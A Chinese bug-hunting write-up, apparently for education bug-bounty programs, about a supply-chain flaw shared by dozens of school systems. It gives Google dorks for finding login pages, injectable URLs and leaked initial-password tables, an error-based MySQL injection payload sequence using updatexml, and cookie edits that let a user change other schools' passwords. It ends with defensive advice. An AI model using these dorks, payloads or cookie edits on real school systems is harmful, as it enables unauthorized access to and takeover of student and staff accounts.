记!一次供应链导致教育漏洞通杀,通杀五十多个学校弱口令,SQL注入,越权修改密码!(新手小白也能看懂的文章)
字数 1288 2025-08-22 18:37:14
教育系统供应链漏洞挖掘实战指南
1. 信息收集策略
1.1 谷歌语法基础
- site: 指定域名搜索,如
site:edu.cn - inurl: 搜索URL包含的关键词,如
inurl:uploads - intitle: 搜索标题包含的关键词,如
intitle:"index of /admin" - intext: 搜索正文包含的关键词,如
intext:登陆 - filetype: 按文件类型搜索,如
filetype:php - cache: 搜索缓存网页
1.2 针对性搜索语法
后台查找语法:
site:xx.com intext:管理|后台|登陆|用户名|密码|系统|帐号|admin|login|sys|managetem|password|username
site:xx.com inurl:login|admin|manage|member|admin_login|login_admin|system|login|user
SQL注入点查找:
inurl:.php?id=23 公司
inurl:.asp?id=11
上传点查找:
site:xx.com inurl:file|uploadfile
敏感信息泄露查找:
intitle:"Index of /admin"
intitle:"Index of /root"
intitle:"Index of /" +password.txt
intitle:phpinfo()或inurl:phpinfo.php
未授权访问查找:
inurl:.php? intext:CHARACTER_SETS,COLLATIONS
intitle:phpmyadmin
1.3 供应链信息收集技巧
使用组合语法搜索初始密码表:
site:edu.cn ("初始密码表")& (附件)
2. 漏洞利用实战
2.1 弱口令利用
- 通过供应链文档获取初始密码
- 测试多个学校系统使用相同密码的情况
- 注意收集敏感信息泄露
2.2 SQL注入测试
测试步骤:
- 识别可疑参数(如
sortname=hm) - 逐步测试以下payload:
sortname=1s- 测试基本错误sortname=exp(11111)- 测试数学函数sortname=update(11111)- 测试SQL关键字sortname=updatexml(1,1,1)- 测试MySQL XML函数sortname=updatexml(1,0x7e)- 测试十六进制参数sortname=updatexml(1,concat(0x7e,user()),1)- 测试用户信息泄露sortname=updatexml(1,concat(0x7e,database()),1)- 测试数据库名泄露
成功标志:
- 返回错误信息中包含数据库相关信息
- 成功获取数据库名称
2.3 越权漏洞利用
Cookie分析:
yh_dm=008- 学校编号dw_id=001- 校内队伍编号
测试方法:
-
校内越权:
- 修改
dw_id值为其他队伍编号 - 验证是否能访问其他队伍信息并修改密码
- 修改
-
校外越权:
- 修改
yh_dm值为其他学校编号(001-058) - 验证是否能访问其他学校系统
- 修改
3. 漏洞危害评估
-
弱口令:
- 导致敏感信息泄露
- 影响范围:20+所学校
-
SQL注入:
- 可获取数据库信息
- 提升漏洞危害等级
-
越权漏洞:
- 可将影响范围扩大到所有使用该系统的学校(58所)
- 可修改其他学校/队伍的密码
4. 防御建议
-
对开发人员:
- 避免使用默认密码,强制首次登录修改密码
- 对所有用户输入进行严格过滤和转义
- 实施最小权限原则
- 对敏感操作进行二次验证
-
对管理员:
- 定期审计系统用户和权限
- 监控异常登录行为
- 及时更新系统补丁
-
对教育机构:
- 建立供应链安全评估机制
- 对第三方系统进行安全审查
- 实施安全培训计划
5. 总结
通过供应链信息收集可以找到教育系统的边缘资产,这些资产往往安全防护较弱。结合弱口令、SQL注入和越权漏洞,可以实现对多个学校的通杀攻击。这种思路适用于教育SRC漏洞挖掘,可有效提升漏洞挖掘效率。